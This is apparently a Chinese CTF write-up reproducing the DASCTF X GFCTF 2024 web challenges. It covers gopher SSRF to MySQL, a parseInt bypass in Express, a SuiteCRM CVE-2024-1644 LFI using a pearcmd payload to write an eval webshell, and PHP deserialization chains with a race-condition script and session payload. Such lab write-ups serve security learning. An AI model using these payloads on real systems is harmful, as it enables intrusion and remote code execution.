目录

  1. 1. 前言
  2. 2. Web
    1. 2.1. EasySignin (复现)
    2. 2.2. cool_index (复现)
      1. 2.2.1. 错误思路
      2. 2.2.2. 正解
    3. 2.3. SuiteCRM (复现)
    4. 2.4. web1234 (复现)
      1. 2.4.1. 法一:条件竞争(实际不可行)
      2. 2.4.2. 法二:session反序列化

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

DASCTF X GFCTF 2024

2024/4/20 CTF线上赛 反序列化 session 文件包含 SSRF
  |     |   总文章阅读量:

前言

nm,又爆零了,为什么我这么菜(绝望),早知道早上去ba only玩算了

参考:https://blog.csdn.net/uuzeray/article/details/138003846

官方wp:https://www.yuque.com/yuqueyonghu30d1fk/gd2y5h/nfeexx903ltettux


Web

EasySignin (复现)

gopher ssrf打mysql

进去一个登录框,给了个注册和登录功能

登录之后

image-20240420102300886

更新当前用户密码这里抓包发现可以修改任意用户的密码

image-20240420104127635

然后就能进任意文件读取的功能了

测试发现ban了file,flag,etc,dict

这做集贸啊,跳了

结果我唯一没测的就是gopher协议,可以回显mysql服务

也就是可以ssrf打mysql

然后直接gopherus一把梭

image-20240422160041010

但是比赛结束后靶机3306端口貌似关掉了,没下文了


cool_index (复现)

逻辑漏洞

下载附件,审一下代码

先看依赖

{
    "name": "index",
    "version": "1.0.0",
    "description": "",
    "main": "server.js",
    "license": "ISC",
    "type": "module",
    "dependencies": {
        "cookie-parser": "^1.4.6",
        "ejs": "^3.1.9",
        "express": "^4.18.2",
        "jsonwebtoken": "^9.0.2"
    }
}

3.1.9,有ejs原型链污染

测试注册一个普通用户,稍微审一下代码即可知道,要成为订阅高级会员才能解锁flag

image-20240420163555061

错误思路

本地起环境,下断点调试一下

image-20240420163945073

那么目标就是要让decoded.subscription的值为 premium

看一下register路由

app.post("/register", (req, res) => {
    const { username, voucher } = req.body;
    if (typeof username === "string" && (!voucher || typeof voucher === "string")) {
        const subscription = (voucher === FLAG + JWT_SECRET ? "premium" : "guest");
        if (voucher && subscription === "guest") {
            return res.status(400).json({ message: "邀请码无效" });
        }
        const userToken = jwt.sign({ username, subscription }, JWT_SECRET, {
            expiresIn: "1d",
        });
        res.cookie("token", userToken, { httpOnly: true });
        return res.json({ message: "注册成功", subscription });
    }

    return res.status(400).json({ message: "用户名或邀请码无效" });
});

可以知道只有当邀请码voucher === FLAG + JWT_SECRET时才能使 subscription 的值为 premium

在register路由下个断点,开始调试

发现 jsonwebtoken 库里面用到了 lodash 库

image-20240420170126404

一路跟到validate方法进到 lodash

image-20240420165934480

跟了半天没看出什么名堂,直接伪造jwt也不行,寄

正解

依旧是回来看一下它的判断条件

app.post("/article", (req, res) => {
    const token = req.cookies.token;
    if (token) {
        try {
            const decoded = jwt.verify(token, JWT_SECRET);
            let index = req.body.index;
            if (req.body.index < 0) {
                return res.status(400).json({ message: "你知道我要说什么" });
            }
            if (decoded.subscription !== "premium" && index >= 7) {
                return res
                    .status(403)
                    .json({ message: "订阅高级会员以解锁" });
            }
            index = parseInt(index);
            if (Number.isNaN(index) || index > articles.length - 1) {
                return res.status(400).json({ message: "你知道我要说什么" });
            }

            return res.json(articles[index]);
        } catch (error) {
            res.clearCookie("token");
            return res.status(403).json({ message: "重新登录罢" });
        }
    } else {
        return res.status(403).json({ message: "未登录" });
    }
});

我们的目标是底下的return res.json(articles[index]);,所以只需要绕过上面的所有if判断即可

这里可以注意到有一个index = parseInt(index);在是否订阅高级会员的判断后面

parseInt函数将其第一个参数转换为一个字符串,对该字符串进行解析,然后返回一个整数或 NaN

image-20240422161314163

明显可以对字符串强制转换为数字

由此我们抓包,把index的值改为开头为7的字符串即可

image-20240422161605887


SuiteCRM (复现)

SuiteCRM v8.5.0 + pearLFI

SuiteCRM version 8.5.0, Username/Password:suitecrm:suitecrm

hint1:使用81端口进行访问,80端口的转发有问题 https://fluidattacks.com/advisories/silva/

hint2:CVE-2024-1644,不需要代码审计!!!注意docker环境下的文件包含方式,该环境只修改了upload目录的上传权限

正常情况对着hint给的exp打就行

”更多“里面找到产品并创建

image-20240422162241509

然后上传我们的图片马再 LFI 即可,包含方法是/public/index.php/<包含文件地址(包含.php字符串)>

但是这里hint也说了,改变了upload目录的上传权限,同时让我们注意docker环境下的文件包含方式,那么能想到的就是pearcmd

构造payload:

index.php//usr/local/lib/php/pearcmd.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['cmd']);?>+/tmp/shell.php

接下来包含写进去的马即可

/index.php//tmp/shell.php
 
cmd=system('tac /f*');

比赛结束docker环境关了没pearcmd打


web1234 (复现)

hint1:本题的 flag 不在环境变量中

hint2:session_start(),注意链子挖掘

源码泄露www.zip

index.php

<?php
error_reporting(0);
include "class.php";

$Config = unserialize(file_get_contents("/tmp/Config"));

foreach($_POST as $key=>$value){
    if(!is_array($value)){
        $param[$key] = addslashes($value);
    }
}

if($_GET['uname'] === $Config->uname && md5(md5($_GET['passwd'])) === $Config->passwd){
    $Admin = new Admin($Config);
    if($_POST['m'] === 'edit'){
        
        $avatar['fname'] = $_FILES['avatar']['name'];
        $avatar['fdata'] = file_get_contents($_FILES['avatar']['tmp_name']);
        $nickname = $param['nickname'];
        $sex = $param['sex'];
        $mail = $param['mail'];
        $telnum = $param['telnum'];

        $Admin->editconf($avatar, $nickname, $sex, $mail, $telnum);
    }elseif($_POST['m'] === 'reset') {
        $Admin->resetconf();
    }
}else{
    die("pls login! :)");
}

class.php

<?php

class Admin{

    public $Config;

    public function __construct($Config){
        //安全获取基本信息,返回修改配置的表单
        $Config->nickname = (is_string($Config->nickname) ? $Config->nickname : "");
        $Config->sex = (is_string($Config->sex) ? $Config->sex : "");
        $Config->mail = (is_string($Config->mail) ? $Config->mail : "");
        $Config->telnum = (is_string($Config->telnum) ? $Config->telnum : "");
        $this->Config = $Config;

        echo '    <form method="POST" enctype="multipart/form-data">
        <input type="file" name="avatar" >
        <input type="text" name="nickname" placeholder="nickname"/>
        <input type="text" name="sex" placeholder="sex"/>
        <input type="text" name="mail" placeholder="mail"/>
        <input type="text" name="telnum" placeholder="telnum"/>
        <input type="submit" name="m" value="edit"/>
    </form>';
    }

    public function editconf($avatar, $nickname, $sex, $mail, $telnum){
        //编辑表单内容
        $Config = $this->Config;

        $Config->avatar = $this->upload($avatar);
        $Config->nickname = $nickname;
        $Config->sex = (preg_match("/男|女/", $sex, $matches) ? $matches[0] : "武装直升机");
        $Config->mail = (preg_match('/.*@.*\..*/', $mail) ? $mail : "");
        $Config->telnum = substr($telnum, 0, 11);
        $this->Config = $Config;

        file_put_contents("/tmp/Config", serialize($Config));

        if(filesize("record.php") > 0){
            [new Log($Config),"log"]();
        }
    }

    public function resetconf(){
        //返回出厂设置
        file_put_contents("/tmp/Config", base64_decode('Tzo2OiJDb25maWciOjc6e3M6NToidW5hbWUiO3M6NToiYWRtaW4iO3M6NjoicGFzc3dkIjtzOjMyOiI1MGI5NzQ4Mjg5OTEwNDM2YmZkZDM0YmRhN2IxYzlkOSI7czo2OiJhdmF0YXIiO3M6MTA6Ii90bXAvMS5wbmciO3M6ODoibmlja25hbWUiO3M6MTU6IuWwj+eGiui9r+ezlk92TyI7czozOiJzZXgiO3M6Mzoi5aWzIjtzOjQ6Im1haWwiO3M6MTU6ImFkbWluQGFkbWluLmNvbSI7czo2OiJ0ZWxudW0iO3M6MTE6IjEyMzQ1Njc4OTAxIjt9'));
    }

    public function upload($avatar){
        $path = "/tmp/".preg_replace("/\.\./", "", $avatar['fname']);
        file_put_contents($path,$avatar['fdata']);
        return $path;
    }

    public function __wakeup(){
        $this->Config = ":(";
    }

    public function __destruct(){
        echo $this->Config->showconf();
    }
}



class Config{

    public $uname;
    public $passwd;
    public $avatar;
    public $nickname;
    public $sex;
    public $mail;
    public $telnum;

    public function __sleep(){
        echo "<script>alert('edit conf success\\n";
        echo preg_replace('/<br>/','\n',$this->showconf());
        echo "')</script>";
        return array("uname","passwd","avatar","nickname","sex","mail","telnum");
    }

    public function showconf(){
        $show = "<img src=\"data:image/png;base64,".base64_encode(file_get_contents($this->avatar))."\"/><br>";
        $show .= "nickname: $this->nickname<br>";
        $show .= "sex: $this->sex<br>";
        $show .= "mail: $this->mail<br>";
        $show .= "telnum: $this->telnum<br>";
        return $show;
    }

    public function __wakeup(){
        if(is_string($_GET['backdoor'])){
            $func = $_GET['backdoor'];
            $func();//:)
        }
    }

}



class Log{

    public $data;

    public function __construct($Config){
        $this->data = PHP_EOL.'$_'.time().' = \''."Edit: avatar->$Config->avatar, nickname->$Config->nickname, sex->$Config->sex, mail->$Config->mail, telnum->$Config->telnum".'\';'.PHP_EOL;
    }

    public function __toString(){
        if($this->data === "log_start()"){
            file_put_contents("record.php","<?php\nerror_reporting(0);\n");
        }
        return ":O";
    }

    public function log(){
        file_put_contents('record.php', $this->data, FILE_APPEND);
    }
}

稍微审一下代码,可以知道登录的逻辑是把我们输入的参数和从/tmp/Config里获得的值进行比较

/tmp/Config的默认值在 resetconf 方法里的那串base64,解码一下得到

O:6:"Config":7:{s:5:"uname";s:5:"admin";s:6:"passwd";s:32:"50b9748289910436bfdd34bda7b1c9d9";s:6:"avatar";s:10:"/tmp/1.png";s:8:"nickname";s:15:"小熊软糖OvO";s:3:"sex";s:3:"女";s:4:"mail";s:15:"admin@admin.com";s:6:"telnum";s:11:"12345678901";}

md5解密得到1q2w3e

然后传入?uname=admin&passwd=1q2w3e就能登录了

image-20240422181455375

接下来找漏洞利用点

法一:条件竞争(实际不可行)

buu的靶机好像不让高频率访问,所以这个方法实际上实现不了

Admin::editconf中

if(filesize("record.php") > 0){
    [new Log($Config),"log"]();
}

只要 record.php 里面有东西就会调用Log类,把 $Config 的内容写入进去

class Log{

    public $data;

    public function __construct($Config){
        $this->data = PHP_EOL.'$_'.time().' = \''."Edit: avatar->$Config->avatar, nickname->$Config->nickname, sex->$Config->sex, mail->$Config->mail, telnum->$Config->telnum".'\';'.PHP_EOL;
    }

但是从我们拿到的附件可以知道这个文件是空的

那么只需要让record.php里面有东西即可,这个时候注意到 Log::__toString

public function __toString(){
    if($this->data === "log_start()"){
        file_put_contents("record.php","<?php\nerror_reporting(0);\n");
    }
    return ":O";
}

这里如果被触发了就会往 record.php 写入<?php\nerror_reporting(0);\n

那么可以得到链子:Admin::__Destruct -> Config::showconf() -> Log::__toString

而这里唯一的反序列化函数在$Config = unserialize(file_get_contents("/tmp/Config"));,也就是说我们需要尝试控制 /tmp/Config 的值

public function editconf($avatar, $nickname, $sex, $mail, $telnum){
    //编辑表单内容
    $Config = $this->Config;

    $Config->avatar = $this->upload($avatar);
    $Config->nickname = $nickname;
    $Config->sex = (preg_match("/男|女/", $sex, $matches) ? $matches[0] : "武装直升机");
    $Config->mail = (preg_match('/.*@.*\..*/', $mail) ? $mail : "");
    $Config->telnum = substr($telnum, 0, 11);
    $this->Config = $Config;

    file_put_contents("/tmp/Config", serialize($Config));

    if(filesize("record.php") > 0){
        [new Log($Config),"log"]();
    }
}

public function upload($avatar){
    $path = "/tmp/".preg_replace("/\.\./", "", $avatar['fname']);
    file_put_contents($path,$avatar['fdata']);
    return $path;
}

在这里我们发现editconf方法中调用upload方法写入文件和下面执行file_put_contents之间还有执行其他语句

可以利用执行这两个语句的时间差传Config文件打条件竞争执行反序列化

payload:

<?php

class Admin
{
    public $Config;
}
class Config
{

    public $uname;
    public $passwd;
    public $avatar;
    public $nickname;
    public $sex;
    public $mail;
    public $telnum;
}
class Log
{
    public $data;
}
$a = new Admin();
$a->Config = new Config();
$a->Config->show = new Log();
$a->Config->show->data = 'log_start()';
echo serialize($a);

注意这里需要绕过 Admin::__wakeup ,php版本7.4.11,反序列化结果会传入对象,可以用 fast_destruct 绕,序列化字符串最后删掉个}即可

把序列化的结果放入本地准备的Config文件中,然后写脚本条件竞争:(这里写入php代码的地方选择nickname,因为没有其他限制)

import requests
import threading
 
url1 = 'http://f54fa87e-403e-4156-8fce-9e2e1af28378.node5.buuoj.cn:81/?uname=admin&passwd=1q2w3e'
 
def upload():
    while True:
        filename = "Config"
        with open('config', "rb") as f:
            files = {"avatar": (filename, f.read())}
            data = {
                "m": "edit",
                "nickname": "<?php phpinfo();?>",
                "sex": "1",
                "mail": "1",
                "telnum": "1",
 
            }
            response = requests.post(url=url1, files=files,data=data)
            print(response.status_code)
 
url2 = 'http://f54fa87e-403e-4156-8fce-9e2e1af28378.node5.buuoj.cn:81'
url3 = 'http://f54fa87e-403e-4156-8fce-9e2e1af28378.node5.buuoj.cn:81/record.php'
 
def read():
    while True:
        res2 = requests.get(url2)
        print(res2.status_code)
        res3 = requests.get(url3)
        if "php" in res3.text:
            print('success')
 
# 创建多个上传线程
upload_threads = [threading.Thread(target=upload) for _ in range(30)]
 
# 创建多个读取线程
read_threads = [threading.Thread(target=read) for _ in range(30)]
 
# 启动上传线程
for t in upload_threads:
    t.start()
 
# 启动读取线程
for t in read_threads:
    t.start()

法二:session反序列化

Config类下的wakeup魔术方法

public function __wakeup(){
    if(is_string($_GET['backdoor'])){
        $func = $_GET['backdoor'];
        $func();//:)
    }
}

第一个明显想到是用来传入phpinfo看环境变量的,hint说flag不在环境变量里面,那么就是要我们找一找相关的配置项了

image-20240422182026047

发现session的 session.serialize_handler 设置为 php 处理器

而hint提示我们session_start,猜测要用到session反序列化,也就是等会要把phpinfo换成session_start打反序列化

开了 session_start 之后,就会找sess_XXX里的内容进行反序列化,反序列化后会得到 $Session 对象,然后在程序执行完要退出之前,会重新把 $SESSION 写进 sess_XXX 文件,也就是序列化的过程,而这个过程可以触发 __sleep

那么我们就要准备对应的序列化字符串文件,这里同样的要走Log::__toString解除写日志 record.php 的限制

链子:Config::__sleep -> Config::showconf() -> Log::__toString

<?php

class Admin
{
    public $Config;
}
class Config
{

    public $uname;
    public $passwd;
    public $avatar;
    public $nickname;
    public $sex;
    public $mail;
    public $telnum;
}
class Log
{
    public $data = 'log_start()';
}
$a = new Config();
$a->avatar = new Log();
echo serialize($a);

要上传的sess_0w0文件内容(注意这里的文件名和等会的PHPSESSID要对的上):

aaa|O:6:"Config":7:{s:5:"uname";N;s:6:"passwd";N;s:6:"avatar";O:3:"Log":1:{s:4:"data";s:11:"log_start()";}s:8:"nickname";N;s:3:"sex";N;s:4:"mail";N;s:6:"telnum";N;}

抓包上传,加PHPSESSID

image-20240423015522733

然后就可以在文件名处或者nickname那里写马了,记得先把cookie去了避免重复写入<?php error_reporting(0);

image-20240423020149166

image-20240423020033986